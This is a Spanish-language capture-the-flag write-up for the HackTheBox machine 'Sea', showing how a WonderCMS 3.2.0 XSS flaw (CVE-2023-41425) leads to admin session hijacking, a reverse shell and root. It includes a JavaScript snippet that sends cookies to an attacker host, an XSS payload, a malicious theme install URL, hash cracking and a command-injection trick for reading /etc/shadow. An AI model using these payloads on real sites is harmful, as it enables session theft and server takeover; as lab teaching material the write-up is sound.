Search

Escribe para buscar.

en
HackTheBox: Sea

HackTheBox: Sea

Junior Restituyo
0xR3iko

Sea es una máquina fácil de HackTheBox que presenta una página web estática hecha en WonderCMS, vulnerable a cross-site scripting. Después de explotarla y entrar al servidor, encontramos una instancia corriendo en un puerto de localhost que nos da inyección de comandos como root, comprometiendo por completo la máquina.

Sitio web estático de Sea:

Sitio web estático de Sea.htb
Sitio web estático de Sea.htb

Enumeración

Escaneo Nmap

Mirando el escaneo de Nmap, solo los puertos 22/TCP y 80/TCP están abiertos.

bash
$ nmap -p22,80 -sCV -Pn -n 10.10.11.28
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.11 (Ubuntu Linux; protocol 2.0)
80/tcp open  http    Apache httpd 2.4.41 ((Ubuntu))
|_http-title: Sea - Home
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Enumeración de directorios

Después de varios escaneos, hacemos un escaneo profundo de /themes/bike/ y encontramos directorios con información valiosa sobre el sitio.

Resultados de Dirsearch
Resultados de Dirsearch

Al acceder a README.md, se descarga un archivo markdown. Acá podemos ver que el sitio usa un CMS llamado WonderCMS.

$ cat README.md
# WonderCMS bike theme
## Author: turboblack
## How to use
1. Login to your WonderCMS website.
2. Click "Settings" and click "Themes".

WonderCMS es un CMS de archivos planos pequeño y simple, construido con PHP y desarrollado desde 2008. Busca ser extremadamente ligero y fácil de instalar.

Rápidamente fuimos a /version para averiguar qué versión de WonderCMS corría el host, y encontramos la versión 3.2.0.

Versión de WonderCMS
Versión de WonderCMS

Acceso inicial

Una simple búsqueda en Google sobre el CMS y la versión revela que tiene CVE-2023-41425, que cuenta con un PoC que podemos explotar.

https://github.com/prodigiousMind/CVE-2023-41425

Para explotar la vulnerabilidad, nos ubicamos en la página de contacto.

Formulario de contacto
Formulario de contacto

Luego tomamos solo una porción del PoC para nuestro beneficio. En este punto solo queremos explotar el XSS para hacer un ataque de session hijacking, así que extraemos el siguiente código y lo guardamos en un archivo xss.js.

js
var xhr=new XMLHttpRequest();
xhr.open("GET", "http://<Attacker-IP>/?"+document.cookie, true);
xhr.send();

Luego levantamos un servidor HTTP para servir el archivo xss.js y capturar la cookie robada del administrador.

bash
python3 -m http.server 80

En el formulario de contacto, insertamos todos los datos y el siguiente payload para que el XSS ejecute el archivo xss.js.

http://sea.htb/index.php?page=LoginURL?"></form><script+src="http://<Attacker-IP>/xss.js"></script><form+action="
Enviando el formulario de contacto
Enviando el formulario de contacto

Capturamos la cookie del administrador para poder autenticarnos como admin.

Session hijacking
Session hijacking

Después de cambiar nuestra cookie por la del administrador, tenemos acceso completo al sitio.

Cambiando la cookie
Cambiando la cookie
Portal de administración
Portal de administración

Ahora seguimos el siguiente paso del PoC, que es obtener RCE instalando un nuevo theme malicioso. Primero descargamos el theme malicioso del PoC para servirlo desde nuestro servidor HTTP.

https://github.com/prodigiousMind/revshell/archive/refs/heads/main.zip

Y levantamos de nuevo un servidor HTTP si el anterior se cerró.

bash
python3 -m http.server 80

Para instalar el módulo malicioso, pasamos la siguiente URL:

/?installModule=http://<Attacker-IP>/revshell-main.zip&directoryName=violet&type=themes&token=<Token>

Encontramos el token yendo a Settings -> Themes y pasando el mouse sobre cualquier botón Install; veremos la URL completa con el token al final.

Obteniendo el token
Obteniendo el token

Instalamos el módulo malicioso.

Instalando el plugin
Instalando el plugin

Finalmente, usamos el módulo malicioso para lanzar una reverse shell, como nos indica el PoC.

Enviando la reverse shell
Enviando la reverse shell

Verificamos la reverse shell obtenida.

Obteniendo la reverse shell
Obteniendo la reverse shell

En el webroot encontramos un archivo llamado database.js con información sensible: un hash Blowfish de una contraseña.

Hash de contraseña en el webroot
Hash de contraseña en el webroot

La contraseña tiene algunos escapes de barra invertida que debemos quitar para que se identifique como un hash válido. Lo crackeamos con hashcat usando el modo 3200 para Blowfish.

bash
hashcat -a 0 -m 3200 hash /usr/share/wordlists/rockyou.txt --force

$2y$10$iOrk210RQSAzNCx6Vyq2X.aJ...:##########

Usamos la contraseña para autenticarnos por SSH como uno de los usuarios, y entramos como amay.

Login por SSH
Login por SSH

Acá obtuvimos la primera flag de esta máquina.

Flag de usuario
Flag de usuario

Escalada de privilegios

Para escalar privilegios, después de enumerar el host encontramos que en localhost corría el puerto 8080, que podría darnos algo importante.

Resultados de netstat
Resultados de netstat

Lanzamos un port forward con SSH.

bash
ssh -L 1234:localhost:8080 [email protected]

Accedimos a la app web autenticándonos como amay de nuevo, y vemos que podemos leer access.log y auth.log, archivos que normalmente solo puede leer un usuario privilegiado.

Sitio web interno
Sitio web interno

Para analizarlo más a fondo, interceptamos una petición con Burp Suite. Todo normal hasta ahora; solo notamos que el parámetro log_file usa la ruta completa de auth.log para mostrarlo, lo que podría indicar un LFI.

Archivo auth.log
Archivo auth.log

Para confirmar el LFI y verificar nuestros privilegios, intentamos leer el archivo shadow, y obtuvimos una respuesta con los datos. Tuvimos que insertar ;id al final de la ruta para romper el comando que lee el archivo y ver el shadow completo. Con esto, podemos obtener acceso root a la máquina.

Archivo shadow
Archivo shadow

Finalmente obtuvimos la flag de root.

Flag de root
Flag de root

Gracias por leer.